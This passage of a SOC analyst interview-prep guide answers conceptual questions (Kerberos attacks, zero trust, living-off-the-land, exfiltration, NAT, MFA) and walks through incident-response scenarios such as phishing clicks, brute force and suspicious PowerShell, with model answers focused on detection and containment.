---

Q23: Explain the OSI model in practical terms — how does a SOC analyst actually use it?

The OSI model has seven layers, but in practical SOC work, you mostly care about layers 3, 4, and 7:

Layer	Name	Practical SOC Relevance
7	Application	HTTP headers, DNS queries, email content, application-layer attacks (SQLi, XSS), WAF logs
6	Presentation	TLS/SSL encryption, data encoding — where encrypted traffic becomes a visibility challenge
5	Session	Session management, authentication tokens — session hijacking lives here
4	Transport	TCP/UDP, ports — firewall rules, SYN floods, port scans
3	Network	IP addresses, routing — source/destination IPs, geolocation, network segmentation
2	Data Link	MAC addresses, VLANs — ARP spoofing, VLAN hopping (mostly handled by network team)
1	Physical	Cables, signals — not a SOC concern unless it is physical security

When you are describing where an attack occurs or where a control operates, referencing the correct OSI layer shows technical depth. "This WAF operates at layer 7 to inspect HTTP requests" is more precise than "the WAF blocks attacks."

Don't say this: Do not recite "Please Do Not Throw Sausage Pizza Away" in an interview. Just demonstrate that you understand which layer is relevant to the question.

Q24: What is NAT and why does it complicate security monitoring?

Network Address Translation (NAT) maps private (internal) IP addresses to public (external) IP addresses. It was originally designed to conserve IPv4 addresses, but it also provides a basic layer of obscurity by hiding internal network structure from the outside.

It complicates monitoring because when many internal hosts share a single public IP (PAT/NAPT), external logs only show the public IP. If a threat intelligence feed flags your public IP as communicating with a C2 server, you need to correlate with internal NAT translation logs to determine which internal host was responsible. Without NAT logs, you are stuck.

Authentication, Authorization, and Accounting

Q25: What is the difference between authentication, authorization, and accounting?

- **Authentication** answers "Who are you?" — verifying identity through something you know (password), something you have (token, smart card), or something you are (biometric)
- **Authorization** answers "What are you allowed to do?" — after identity is verified, what resources, systems, and data can you access?
- **Accounting** (also called auditing) answers "What did you do?" — logging and tracking user activities for compliance, forensics, and monitoring

A practical example: You badge into a building (authentication), your badge only opens doors to your floor (authorization), and the building logs every door you open with a timestamp (accounting).

In an interview, showing that you understand all three — and that accounting/auditing is the foundation that makes security monitoring possible — demonstrates depth.

Q26: What is multi-factor authentication and why is it critical?

MFA requires two or more of the following factors to authenticate: - **Something you know:** Password, PIN - **Something you have:** Hardware token, phone (authenticator app, SMS code), smart card - **Something you are:** Fingerprint, facial recognition, retinal scan

It is critical because passwords alone are the weakest link in security. They get phished, reused, brute-forced, and leaked in breaches. MFA means that even if an attacker has a user's password, they still cannot authenticate without the second factor.

Important nuances: - SMS-based MFA is better than no MFA but is vulnerable to SIM swapping and interception - Authenticator apps (TOTP) are stronger than SMS - Hardware keys (FIDO2/WebAuthn like YubiKeys) are the strongest — resistant to phishing because they are bound to the legitimate domain - Push-based MFA (like Duo or Microsoft Authenticator prompts) is vulnerable to MFA fatigue attacks where the attacker repeatedly sends push notifications until the user accepts one

---

Q27: What is Kerberos and why do attackers target it?

Kerberos is the authentication protocol used in Active Directory environments. It works using tickets rather than sending passwords across the network:

1. User authenticates to the Key Distribution Center (KDC) and receives a Ticket Granting Ticket (TGT)
2. When the user needs to access a service, they present the TGT to the KDC and receive a Service Ticket
3. The user presents the Service Ticket to the target service for access

Attackers target Kerberos because: - **Kerberoasting:** Requesting service tickets for service accounts, then cracking the ticket offline to recover the service account password. Service accounts often have weak passwords and high privileges. - **Golden Ticket:** Forging a TGT using the KRBTGT account hash, granting unlimited access to any resource in the domain - **Silver Ticket:** Forging a service ticket using a service account hash, granting access to that specific service - **Pass-the-Ticket:** Stealing and reusing a legitimate user's ticket to impersonate them

Detection: Monitor for Event IDs 4768 (TGT requests), 4769 (service ticket requests), and anomalies like a single account requesting tickets for many services in a short period (Kerberoasting indicator).

Additional Core Concepts

Q28: What is the principle of zero trust?

Zero trust is a security model built on the principle "never trust, always verify." Unlike traditional perimeter-based security (where everything inside the network is trusted), zero trust assumes that threats can come from anywhere — including inside the network.

Core tenets: - **Verify explicitly:** Always authenticate and authorize based on all available data points (identity, location, device health, service or workload, data classification, anomalies) - **Use least-privilege access:** Limit access with just-in-time and just-enough-access policies - **Assume breach:** Minimize blast radius and segment access. Verify end-to-end encryption. Use analytics to drive threat detection

In practice, this means: even if a user is on the corporate network, they still authenticate to each service, their device health is checked, and their access is limited to what they need. VPN does not equal trusted.

Q29: What is the difference between a vulnerability, a threat, and a risk?

- **Vulnerability:** A weakness in a system, process, or control that could be exploited. Example: an unpatched Apache server with a known CVE.
- **Threat:** An actor or event that could exploit a vulnerability. Example: a nation-state APT group known to target that specific CVE.
- **Risk:** The likelihood of a threat exploiting a vulnerability multiplied by the impact. Example: the risk is high because the vulnerable server is internet-facing, the threat group is active, and the server hosts customer data.

Risk = Threat x Vulnerability x Impact. Understanding this relationship helps you prioritize: a critical vulnerability on an isolated test server with no sensitive data is lower risk than a moderate vulnerability on a production server exposed to the internet.

Q30: What is the difference between an IOC and an IOA?

- **IOC (Indicator of Compromise):** Evidence that a system has been compromised. These are forensic artifacts found *after* an attack: file hashes of known malware, IP addresses of C2 servers, domains associated with phishing, registry keys modified by malware. IOCs are reactive — they tell you "this happened."
- **IOA (Indicator of Attack):** Behaviors that indicate an attack *is in progress*, regardless of the specific tools or malware used. Examples: a process injecting into another process, PowerShell downloading and executing a payload, a user account accessing 50 file shares in 2 minutes. IOAs are proactive — they tell you "this is happening."

Modern detection strategies use both. IOCs catch known threats; IOAs catch novel threats that use unknown tools but exhibit recognizable attack behavior.

Q31: What is lateral movement and why is it significant?

Lateral movement is the technique an attacker uses to move from one compromised system to other systems within the network. It is significant because the initial compromised system is rarely the attacker's target — they need to move through the environment to reach high-value assets like domain controllers, file servers, databases, or backup systems.

Common lateral movement techniques: - **Pass-the-Hash / Pass-the-Ticket:** Using stolen credential material without knowing the actual password - **PsExec / WMI / WinRM:** Legitimate remote administration tools used for malicious remote execution - **RDP:** Remote Desktop to move between Windows systems - **SMB:** Accessing file shares, sometimes deploying malware through them - **SSH:** Moving between Linux/Unix systems with stolen keys or credentials

Detection: Monitor for unusual authentication patterns (one account logging into many systems), use of remote execution tools from unexpected sources, and traffic between workstations (workstations rarely need to communicate directly with each other).

Q32: What is the difference between a vulnerability scan and a penetration test?

A **vulnerability scan** is an automated, broad assessment that identifies known vulnerabilities across many systems. It uses a scanner (Nessus, Qualys, OpenVAS) to check for missing patches, misconfigurations, default credentials, and known CVEs. It is non-intrusive and runs regularly (weekly, monthly). Output is a list of vulnerabilities with severity ratings.

A **penetration test** is a targeted, manual assessment where a skilled tester attempts to actually exploit vulnerabilities, chain them together, and demonstrate real-world impact. It answers "can someone actually break in and what can they reach?" rather than just "are there vulnerabilities?" It is typically performed annually or before major releases.

Think of it this way: a vulnerability scan tells you the window is unlocked. A penetration test opens the window, climbs in, and shows you they could reach the safe.

Q33: What is a SOAR and how does it relate to a SIEM?

SOAR stands for Security Orchestration, Automation, and Response. While a SIEM detects and alerts, a SOAR automates the response.

- **Orchestration:** Connects different security tools so they can work together (SIEM, EDR, firewall, ticketing, threat intel)
- **Automation:** Automates repetitive analyst tasks — enriching alerts with threat intel, isolating hosts, blocking IPs, creating tickets
- **Response:** Provides playbooks (predefined workflows) for handling common incident types

Example: An alert fires for a phishing email. The SOAR automatically extracts the URLs and attachments, checks them against VirusTotal and internal threat intel, looks up how many users received the same email, and creates a ticket with all this context pre-populated. The analyst reviews the enriched alert instead of doing all that manually.

SOAR does not replace analysts — it eliminates the repetitive mechanical work so analysts can focus on the decisions that require human judgment.

Q34: What are the phases of incident response?

The NIST Incident Response framework (SP 800-61) defines four phases:

1. **Preparation:** Establishing the IR plan, team, tools, playbooks, and communication channels *before* an incident occurs. This includes having a forensic toolkit ready, escalation procedures documented, and legal/PR contacts identified.

2. **Detection and Analysis:** Identifying that an incident has occurred and understanding its scope. This is where SOC analysts spend most of their time — triaging alerts, correlating events, determining severity, and deciding whether to escalate.

3. **Containment, Eradication, and Remediation:**

   - Containment: Stop the bleeding (isolate affected hosts, block malicious IPs, disable compromised accounts)
   - Eradication: Remove the threat (delete malware, close the vulnerability that was exploited)
   - Remediation: Restore systems to normal operation (reimage hosts, restore from backups, reset credentials)

4. **Post-Incident Activity:** Lessons learned, root cause analysis, updating detection rules and playbooks, improving controls to prevent recurrence.

Pro tip: In scenario interviews, walking through these phases shows you have a framework for thinking about incidents rather than making it up as you go.

Q35: What is SOAR, and how does it differ from SIEM?

A **SIEM** (Security Information and Event Management) collects, normalizes, and correlates log data from across your environment. It is your central visibility platform — the place where alerts

surface and analysts investigate.

SOAR (Security Orchestration, Automation, and Response) sits on top of your SIEM and automates the *response* side. Where SIEM tells you "something happened," SOAR executes playbooks: enriching alerts with threat intelligence, isolating endpoints, creating tickets, and notifying stakeholders — all without an analyst clicking buttons.

Key differences: - SIEM is about **detection and investigation** — it answers "what happened?" - SOAR is about **response and automation** — it answers "what do we do about it?" - SIEM generates alerts; SOAR triages and acts on them - SOAR reduces mean time to respond (MTTR) by automating repetitive Tier 1 tasks like IP reputation lookups and phishing email quarantine

Common SOAR platforms: Splunk SOAR (formerly Phantom), Palo Alto XSOAR, IBM Resilient, Swimlane.

Interview insight: Mentioning SOAR shows you understand that modern SOCs are moving toward automation, not just adding more analysts to handle more alerts.

Q36: What is the difference between EDR and antivirus?

Traditional **antivirus** is primarily signature-based — it compares files against a database of known malware signatures. It is good at catching known threats but poor at detecting novel or fileless attacks.

Endpoint Detection and Response (EDR) provides continuous monitoring and recording of endpoint activity (process execution, file changes, registry modifications, network connections). It uses behavioral analysis, not just signatures, to detect threats. When something is detected, EDR provides investigation capabilities (timeline reconstruction, remote isolation, live response).

Key EDR advantages over traditional AV: - Detects fileless malware and living-off-the-land attacks - Provides a recorded timeline of what happened on the endpoint - Enables remote investigation and response (isolate host, kill process, collect artifacts) - Uses cloud-based analytics and threat intelligence for detection

Modern EDR platforms (CrowdStrike Falcon, SentinelOne, Microsoft Defender for Endpoint) have largely replaced traditional antivirus in enterprise environments.

Q37: What is a false flag in cybersecurity?

A false flag is a technique where an attacker deliberately plants misleading evidence to make an attack appear to originate from a different group or country. This can include: - Using malware associated with a specific APT group - Embedding code comments in a foreign language - Routing traffic through infrastructure in a specific country - Mimicking known TTPs of another threat actor

This is why attribution is extremely difficult in cybersecurity and why SOC analysts focus on the *what* and *how* (TTPs, IOCs) rather than the *who* when responding to incidents. Attribution is generally the domain of threat intelligence teams and government agencies with broader visibility.

Q38: What is the difference between symmetric and asymmetric encryption in terms of use cases?

Aspect	Symmetric	Asymmetric
Keys	One shared key	Key pair (public + private)
Speed	Fast	Slow
Use case	Encrypting bulk data	Key exchange, digital signatures, small data
Examples	AES-256, ChaCha20	RSA, ECDSA, Diffie-Hellman
Challenge	How to share the key securely	Computationally expensive

Real-world usage: TLS uses asymmetric encryption to establish a shared session key, then uses symmetric encryption for the data. Full disk encryption uses symmetric (AES). Email encryption (PGP) uses asymmetric to exchange a symmetric session key. Digital signatures use asymmetric (private key signs, public key verifies).

Q39: What is data exfiltration and what are common methods?

Data exfiltration is the unauthorized transfer of data out of an organization. Common methods:

- **DNS tunneling:** Encoding data in DNS queries to bypass firewalls
- **HTTPS:** Uploading to cloud storage (Dropbox, Google Drive, personal email) over encrypted channels that blend with normal traffic
- **Email:** Sending data as attachments or in the body of emails to external addresses
- **USB/physical media:** Copying data to removable drives
- **Steganography:** Hiding data within images or other files
- **Cloud sync:** Using shadow IT cloud services that are not monitored
- **Encrypted archives:** Compressing and encrypting data before exfiltrating to avoid DLP detection

Detection strategies: DLP (Data Loss Prevention) tools, monitoring for unusual outbound data volumes, watching DNS logs for tunneling indicators, proxy logs for uploads to file-sharing services, and USB device control policies.

Q40: What is the shared responsibility model in cloud security?

The shared responsibility model defines who is responsible for security in cloud environments:

- **IaaS (e.g., AWS EC2, Azure VMs):** The cloud provider secures the infrastructure (physical, network, hypervisor). The customer secures everything above that — OS, patches, applications, data, identity, access control.
- **PaaS (e.g., AWS Lambda, Azure App Service):** The provider also manages the OS and runtime. The customer secures the application code, data, and identity/access.
- **SaaS (e.g., Microsoft 365, Salesforce):** The provider manages almost everything. The customer is responsible for data, identity/access, and configuration.

The key interview point: "in the cloud" does not mean "the vendor handles security." Misconfiguration is the number one cause of cloud breaches — public S3 buckets, overly permissive IAM roles, missing encryption. A SOC analyst monitoring a cloud environment needs to understand what the organization is responsible for.

Q41: What is a playbook in a SOC?

A playbook is a documented, step-by-step procedure for handling a specific type of security event or incident. Think of it as a recipe that ensures consistent, thorough response regardless of which analyst is on shift.

A phishing playbook might include: 1. Verify the alert — is this a reported phish or automated detection? 2. Extract IOCs from the email (sender, URLs, attachment hashes) 3. Check IOCs against threat intelligence (VirusTotal, internal TI platform) 4. Determine how many users received the email 5. Check if any users clicked links or opened attachments (proxy/EDR logs) 6. If malicious: quarantine the email from all mailboxes, block the sender/domain/URL 7. If users interacted: initiate compromised host/account procedures 8. Document and close the ticket with findings and actions taken

Playbooks are living documents — they get updated after incidents when gaps are found.

Q42: What is threat intelligence and how does a SOC use it?

Threat intelligence is evidence-based information about existing or emerging threats that informs security decisions. There are four levels:

- **Strategic:** High-level trends for executives (e.g., "ransomware attacks on healthcare increased 300% this year")
- **Tactical:** TTPs that inform detection engineering (e.g., "APT29 is using a new DLL sideloading technique via Teams updater")
- **Operational:** Details about specific campaigns (e.g., "a phishing campaign targeting financial firms uses these specific subject lines and sender domains")
- **Technical:** Specific IOCs that feed into automated tools (e.g., IP addresses, domain names, file hashes)

A SOC analyst primarily works with tactical and technical threat intelligence: - Feeding IOCs into the SIEM for automated detection - Using threat intel to enrich alerts (is this IP associated with a known threat actor?) - Adjusting detection rules based on emerging TTPs - Checking submitted files/URLs against threat intel platforms (VirusTotal, OTX, MISP)

Q43: What is the difference between encryption at rest and encryption in transit?

Encryption at rest protects data stored on disk — databases, file servers, backups, laptops. If someone steals the physical drive or gains unauthorized access to the storage, they cannot read the data without the encryption key. Examples: BitLocker (Windows), FileVault (Mac), AES-256 database encryption, encrypted S3 buckets.

Encryption in transit protects data as it moves across a network — between a client and server, between two services, or between data centers. If someone intercepts the traffic (man-in-the-middle), they cannot read it. Examples: TLS/HTTPS, VPN tunnels (IPsec, WireGuard), SSH.

Both are necessary. Encryption at rest without encryption in transit means data is protected on the server but exposed when it is sent to the client. Encryption in transit without encryption at rest means data is protected during transfer but exposed if the server is compromised.

Q44: What is RBAC and how does it relate to least privilege?

Role-Based Access Control (RBAC) assigns permissions to roles rather than individual users. Users are assigned to roles based on their job function, and they inherit the permissions of that role.

Example: - "SOC Analyst" role: read access to SIEM, create/update tickets, read-only access to EDR console - "SOC Lead" role: everything above plus write access to detection rules and the ability to approve ticket closures - "Security Engineer" role: full access to SIEM configuration, EDR policy management, and firewall rule changes

RBAC is a mechanism for *implementing* least privilege at scale. Instead of managing permissions for 200 individual analysts, you define the role once and assign users to it. When someone changes roles, you change their role assignment rather than hunting down 50 individual permissions.

Q45: What is the difference between a packet filter firewall and a next-generation firewall?

A **packet filter firewall** (stateless) examines individual packets based on source/destination IP, port, and protocol. It has no awareness of connection state or application content. Simple and fast, but easy to bypass.

A **stateful firewall** tracks active connections and makes decisions based on the state of the connection (new, established, related). It knows that an inbound packet on port 80 is legitimate if it is part of an established outbound web request.

A **next-generation firewall (NGFW)** adds application-layer inspection (it can distinguish between Skype and BitTorrent even if both use port 443), integrated IPS, SSL/TLS decryption, user identity awareness (decisions based on who the user is, not just which IP they are on), and threat intelligence integration.

Q46: What is a CVE and how is it used?

CVE (Common Vulnerabilities and Exposures) is a standardized identifier for publicly known security vulnerabilities. Each CVE gets a unique ID (e.g., CVE-2024-3094 for the XZ Utils backdoor) and is cataloged in the National Vulnerability Database (NVD).

Each CVE is assigned a CVSS (Common Vulnerability Scoring System) score from 0.0 to 10.0: - **Low:** 0.1-3.9 - **Medium:** 4.0-6.9 - **High:** 7.0-8.9 - **Critical:** 9.0-10.0

A SOC analyst encounters CVEs when: - Reviewing vulnerability scan results and prioritizing remediation - Investigating alerts that reference specific exploit attempts - Reading threat intelligence reports about new vulnerabilities being exploited in the wild - Communicating with the patching team about which vulnerabilities are urgent

Pro tip: In interviews, being able to reference a recent high-profile CVE (Log4Shell/CVE-2021-44228, MOVEit/CVE-2023-34362, XZ/CVE-2024-3094) and explain what it was, why it mattered, and how it would be detected shows you stay current.

Q47: What is the difference between a proxy and a VPN?

A **proxy** acts as an intermediary for specific application traffic (typically HTTP/HTTPS). The client sends requests to the proxy, which forwards them to the destination. The destination sees the proxy's IP, not the client's. Proxies can inspect, filter, and log traffic. Forward proxies protect clients; reverse proxies protect servers.

A **VPN (Virtual Private Network)** creates an encrypted tunnel for *all* traffic between the client and the VPN endpoint. It operates at the network layer, not the application layer, so all traffic from the device is routed through the tunnel.

In a SOC context: - Proxy logs are a rich data source for investigating web-based threats (what URLs did the user visit, what was downloaded, what user agents were seen) - VPN logs are critical for investigating remote access — who connected, from where, when, and how long - Attackers often use compromised VPN credentials for initial access, making VPN logs essential for detection

---

Q48: What does "living off the land" mean in cybersecurity?

Living off the Land (LotL) refers to attackers using legitimate, built-in tools and features of the operating system to carry out their attack, rather than deploying custom malware. This makes detection harder because the tools are not inherently malicious.

Common examples on Windows: - **PowerShell:** Downloading payloads, executing scripts in memory - **WMI (wmic.exe):** Remote execution, persistence, reconnaissance - **certutil.exe:** Downloading files, decoding base64 - **mshta.exe:** Executing HTA files containing malicious scripts - **schtasks.exe:** Creating scheduled tasks for persistence - **reg.exe:** Modifying registry for persistence or defense evasion - **bitsadmin.exe:** Downloading files in the background

Detection focuses on behavioral analysis: What is the parent process? Is PowerShell being launched with encoded commands? Is certutil downloading a file from an external IP? Is a scheduled task being created by a non-standard process? EDR and Sysmon logging are essential for visibility into LotL activity.

Q49: What is the principle of separation of duties?

Separation of duties ensures that no single individual has enough access or authority to carry out a critical action alone. It requires multiple people to complete a sensitive process, reducing the risk of fraud, error, or abuse.

Examples: - The person who writes a firewall rule is not the same person who approves and deploys it - The DBA who manages the database does not have access to read the sensitive data stored in it - The developer who writes code does not deploy it to production — that goes through a change management process - The SOC analyst who investigates an incident is not the one who makes remediation decisions for production systems

This principle is especially important in compliance-driven environments (PCI DSS, SOX, HIPAA) and is a common interview topic for roles that involve any governance, risk, or compliance responsibilities.

Q50: What is meant by "assume breach" and how does it change your security posture?

"Assume breach" is the mindset that an attacker is already in your environment (or will be eventually). Instead of focusing all effort on keeping attackers out, you design your defenses to detect, contain, and respond to them when they get in.

This changes your security posture by: - **Segmenting the network** so a compromised host cannot reach everything - **Monitoring internal traffic** (east-west), not just perimeter (north-south) - **Implementing the principle of least privilege** so a compromised account has limited reach - **Deploying deception (honeypots, honey tokens)** to detect attacker presence - **Logging everything and retaining logs** long enough to investigate historical compromises - **Running regular threat hunts** proactively looking for signs of compromise rather than waiting for alerts - **Having a tested incident response plan** because you expect to use it

This is the foundation of zero trust architecture and is the direction the industry has moved over the past decade. It is also a strong talking point in interviews because it shows you think defensively and realistically.

Next: Chapter 2 — Scenario Questions

Chapter 2: Scenario Questions

Real Interview Scenarios with Model Answers

This is the chapter that separates candidates who studied from candidates who can *do the job.* The interviewer drops you into a situation — a phishing wave, a compromised host, a suspicious login — and watches you think. They are not grading you on a rubric. They are asking themselves one question: "Would I trust this person on my SOC at 2 AM?"

You do not need the perfect answer. You need structured thinking, practical knowledge, and the ability to prioritize when you do not have all the facts.

How to use this chapter: Read the scenario, then answer it out loud *before* reading the model answer. Compare your structure to theirs. The structure matters more than matching word-for-word.

Scenario 1: Compromised Email Account

Scenario: "A user reports their account is sending emails they didn't write. Walk me through your response."

What they are testing: Incident response methodology, ability to think through scope and containment, understanding of account compromise indicators.

Strong answer:

First, I would verify the report and gather initial information from the user — when did they first notice it, can they still access their account, and have they clicked any links or opened attachments recently.

For immediate containment, I would reset the user's password and revoke all active sessions. If we have MFA, I would verify it is still configured correctly — an attacker may have registered their own MFA device. If we do not have MFA, this becomes a recommendation in the post-incident review.

Next, I would investigate the scope: - Review the email logs to see what was sent, to whom, and whether any contained attachments or links. This tells me if this is being used for internal phishing (spreading the compromise) or external spam. - Check the authentication logs for the account — look for logins from unusual IPs, geolocations, or at unusual times. Identify when the compromise likely began. - Review mail forwarding rules and inbox rules. Attackers commonly set up auto-forwarding to an external email address so they continue to receive copies even after the password

is reset. - Check if the account has access to any sensitive data, shared mailboxes, or elevated permissions. Determine if any of those were accessed. - Look for OAuth app consents — attackers sometimes grant permissions to third-party apps that persist even after a password reset.

For remediation, beyond the password reset: remove any unauthorized inbox rules or forwarding rules, revoke any suspicious OAuth app consents, and check for any secondary persistence mechanisms. If the account has admin privileges, the scope of investigation expands significantly.

Finally, I would determine the initial compromise vector. If it was phishing, check if other users received the same email. If it was credential stuffing, check if the user reused passwords. Document everything and update the ticket.

Common mistakes: - Jumping straight to "reset the password" without investigating scope — an attacker may have established other persistence mechanisms - Forgetting to check mail forwarding rules, which is one of the most common persistence techniques in email compromise - Not checking if other users were targeted by the same phishing email

---

Scenario 2: Brute Force Attack

Scenario: "You see 10,000 failed login attempts from one IP in your SIEM. What do you do?"

What they are testing: Triage methodology, understanding of attack types, proportional response.

Strong answer:

First, I would assess the basics: What is the target? Is it one account or many accounts? What is the time window? What is the source IP?

If it is 10,000 attempts against a *single account*, that is a brute force attack — the attacker has a username and is guessing passwords. If it is attempts across *many accounts* with a few passwords each, that is credential stuffing or password spraying — a different attack with different implications.

I would check the source IP: - Is it internal or external? An internal IP attempting brute force is much more concerning — it could indicate a compromised host. - Run it through threat intelligence (AbuseIPDB, VirusTotal, our internal TI platform). Is it a known malicious IP, a VPN/proxy, or a cloud provider? - Check if this IP has any successful authentications. Failed attempts are noise; a successful attempt after thousands of failures means the attacker got in.

For immediate action: - If external and no successful auth: block the IP at the firewall/WAF and add it to our blocklist. Verify account lockout policies are working (they should have locked the account long before 10,000 attempts — if they did not, that is a gap to flag). - If there was a successful authentication: this escalates immediately. Reset the compromised account password, check for any activity during the authenticated session, and treat it as an active compromise. - If internal: investigate the source host. It may be compromised and being used as a pivot point for lateral movement.

I would also check if the account lockout policy is actually enforced. If we hit 10,000 failures without lockout, either the policy is not configured correctly, the attacker is doing slow and low attempts spread over time, or they are rotating target accounts.

Document findings, create a ticket, and if this is a pattern, recommend rate limiting or adaptive authentication controls.

Common mistakes: - Blocking the IP and calling it done without checking for successful authentication - Not distinguishing between brute force (one account) and password spraying (many accounts) - Not checking whether the source is internal or external

---

Scenario 3: Suspicious PowerShell Activity

Scenario: "An EDR alert fires for PowerShell downloading a file from an external IP. Walk me through triage."

What they are testing: Understanding of living-off-the-land techniques, triage methodology, ability to assess severity quickly.

Strong answer:

This is a high-priority alert because PowerShell downloading from an external IP is a classic initial access or payload delivery technique. I would not dismiss this as a false positive without thorough investigation.

First, I would gather context from the EDR: - What is the full command line? Is it using `Invoke-WebRequest`, `Net.WebClient`, `Start-BitsTransfer`, or another download method? Is it using encoded commands (-EncodedCommand)? - What is the parent process? If PowerShell was spawned by `winword.exe` or `outlook.exe`, that strongly suggests a malicious document or phishing email — that is a high-confidence indicator. - What user context is it running under? A standard user is concerning; SYSTEM or a service account is critical. - What was the external IP? Check it against threat intelligence. Check if the file was actually downloaded and what it is. - What happened after the download? Did the file execute? Did PowerShell do anything else — registry modifications, lateral movement, credential access?

Then I would assess scope: - Check if the same PowerShell command or external IP appears on any other hosts. If so, this may be a broader campaign. - If a file was downloaded, get the hash and check it against VirusTotal and our threat intel feeds. - Review the user's recent email for phishing and their recent web browsing for drive-by downloads.

If this looks malicious, I would contain immediately — isolate the host through the EDR console, disable the user account if warranted, and block the external IP at the firewall. Then I would collect forensic artifacts before they are overwritten.

If investigation suggests it is legitimate (e.g., IT admin running a known script), I would document it as a false positive and work with the detection team to tune the rule — perhaps by whitelisting that specific admin account or script.

Common mistakes: - Dismissing it as "PowerShell is normal" without checking the command line and parent process - Not checking what happened *after* the download — the download alone may not be the attack; execution of the payload is - Isolating the host before gathering volatile artifacts (memory, running processes, network connections)

Scenario 4: Impossible Travel

Scenario: "A VPN user is connecting from two countries simultaneously. How do you investigate?"

What they are testing: Understanding of impossible travel detection, false positive awareness, investigation methodology.

Strong answer:

Impossible travel alerts fire when a user authenticates from two geographic locations within a time window that makes physical travel impossible. This can indicate compromised credentials being used by an attacker.

However, false positives are common, so I would investigate before escalating:

First, I would check the specifics: - Which two countries? Geolocation databases are not perfectly accurate, especially for mobile networks and VPNs/proxies. - Are either of the IPs associated with known VPN services, proxies, or cloud providers? If the user is using a personal VPN or their traffic is routing through a CDN, the geolocation may be misleading. - Is the user known to travel? Check with HR or the user's manager if unclear.

Then I would dig deeper: - Compare the sessions — are both active and doing real work, or is one idle? Two active sessions performing different tasks is much more suspicious than one real session and one stale token. - Check the device identifiers and user agents. If both sessions are from the same device type and OS, it could be a VPN routing issue. If they are different devices, that is more suspicious. - Review what each session accessed. Is one of them accessing sensitive data, exfiltrating files, or behaving differently than the user's normal pattern? - Check authentication method — did both sessions use MFA, or did one bypass it?

If I determine one session is illegitimate: - Terminate the suspicious session and reset the user's credentials - Investigate how the credentials were compromised (phishing, credential stuffing, infostealer malware) - Check if the attacker's IP accessed any other accounts - Review what data or systems were accessed during the suspicious session

Common mistakes: - Immediately resetting the user's password and causing a business disruption for what might be a VPN geolocation false positive - Not checking if the IP is a known VPN or proxy service - Forgetting to check what the suspicious session actually did — containment without scope assessment

---

Scenario 5: Social Engineering — MFA Bypass Request

Scenario: "The CEO's assistant calls saying the CEO needs you to disable MFA on their account urgently. What do you do?"

What they are testing: Social engineering awareness, adherence to policy, ability to handle pressure from authority.

Strong answer:

I would not disable MFA based on a phone call, regardless of who it is from. This is a textbook social engineering scenario — creating urgency, invoking authority, and requesting a security control be weakened.

My response: 1. **Acknowledge the request politely** — "I understand this is urgent, and I want to help resolve this as quickly as possible." 2. **Explain that I need to verify the request** through our established process. We do not disable security controls based on verbal requests — there needs to be a ticket or written authorization through the proper channel. 3. **Offer alternatives** — "Is the CEO having trouble with their MFA app? I can help troubleshoot the issue, provide a temporary bypass code through the proper channel, or set up an alternative MFA method." 4. **Verify identity** — I would contact the CEO directly through a known contact method (their corporate email or phone number on file) to confirm the request. 5. **Escalate if pushed** — If the caller becomes aggressive or insistent, I would politely escalate to my supervisor. "I want to make sure I help as quickly as possible. Let me bring my team lead in so we can get this resolved faster."

I would document the call regardless of the outcome. If it turns out to be a legitimate request, the proper process protects both the organization and me. If it is social engineering, we now have an incident to investigate and a good example for security awareness training.

Common mistakes: - Actually disabling MFA because the caller seemed legitimate and the CEO is an executive - Being rude or accusatory — you can be firm and professional without alienating the caller - Not documenting the interaction

> **Try this:** Pick any one of the five scenarios above. Close this document. Write out your response in bullet points — just the key steps, in order. Then come back and compare. Where did your structure differ? What did you forget? Those gaps are what to drill before the interview.

Scenario 6: Suspicious Scheduled Task

Scenario: "You find a scheduled task running a base64-encoded PowerShell command on a server. What's your approach?"

What they are testing: Understanding of persistence mechanisms, encoded command analysis, triage methodology.

Strong answer:

A base64-encoded PowerShell command in a scheduled task is a significant red flag. Legitimate automation rarely needs to encode commands — encoding is primarily used to obfuscate malicious payloads. This warrants immediate investigation.

My approach: 1. **Decode the command.** Base64 is encoding, not encryption — I can decode it immediately using PowerShell (`[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String(`
or CyberChef. I need to see what the command actually does before making any decisions.

2. **Analyze the decoded command.** What is it doing? Downloading a payload? Establishing a reverse shell? Exfiltrating data? Communicating with an external IP? Or is it a legitimate admin script that happens to be encoded (less likely, but possible)?

3. **Check the scheduled task metadata:**

   - When was it created? Check against known change management records.
   - Who created it? What account and from what process?

- How often does it run? What time? A task running every 5 minutes at odd hours smells like a beacon.
- Does it match any approved tasks in our configuration management?

4. **Check the server context:**
   - What is this server's role? Is it a domain controller, web server, file server?
   - Are there other suspicious indicators on this host — unusual processes, network connections, other persistence mechanisms?
   - When was the server last patched? Is there a known vulnerability that could have been exploited for initial access?
5. **Containment decision:** If the decoded command is clearly malicious, I would disable the scheduled task (not delete — preserve evidence) and isolate the host if warranted. If the server is production-critical, I would coordinate with the server team to understand the impact of isolation before pulling the trigger.
6. **Broader investigation:** Check other servers for the same scheduled task or similar encoded commands. If this is persistence from an attacker, they may have established it on multiple hosts.

Common mistakes: - Deleting the scheduled task immediately, destroying forensic evidence - Not actually decoding the base64 to understand what the command does - Treating it as a one-host issue without checking for lateral movement to other systems

---

Scenario 7: Mass Phishing Click

Scenario: "A phishing email got through and 15 users clicked the link. What's your incident response?"

What they are testing: Ability to handle incidents at scale, prioritization, containment strategy, communication skills.

Strong answer:

This is a priority incident because we have 15 potentially compromised users. I need to work quickly and systematically.

Immediate actions (first 30 minutes): 1. **Quarantine the email** from all mailboxes — not just the 15 who clicked, but every recipient. Our email security platform or admin console should allow us to search for the message by subject, sender, or header and purge it. 2. **Identify all recipients,** not just the 15 clickers. The full recipient list defines the potential blast radius. 3. **Block the malicious URL** at the proxy/web filter and the domain at the DNS level. If a domain or IP was involved, block it at the firewall as well. 4. **Extract and analyze IOCs** from the email: sender address, reply-to address, URL, any attachment hashes. Submit to threat intel platforms.

Assessment and triage (next 1-2 hours): 5. **Determine what the link did.** Was it a credential harvesting page? Did it download malware? Did it redirect to a legitimate site (possibly a tracking pixel to validate email addresses)? 6. **For credential harvesting:** All 15 users need password resets immediately. Check if any accounts show post-compromise activity (logins from unusual IPs, email forwarding rules created, data access). Check if any of the 15 have privileged

access — those are highest priority. 7. **For malware delivery:** Check EDR for all 15 hosts. Was anything downloaded and executed? Isolate any hosts showing signs of compromise. Get file hashes and submit to sandboxing if not already identified. 8. **Prioritize the 15 by risk:** Do any of them have admin accounts, access to sensitive data, or finance/executive roles? Start with the highest-risk users.

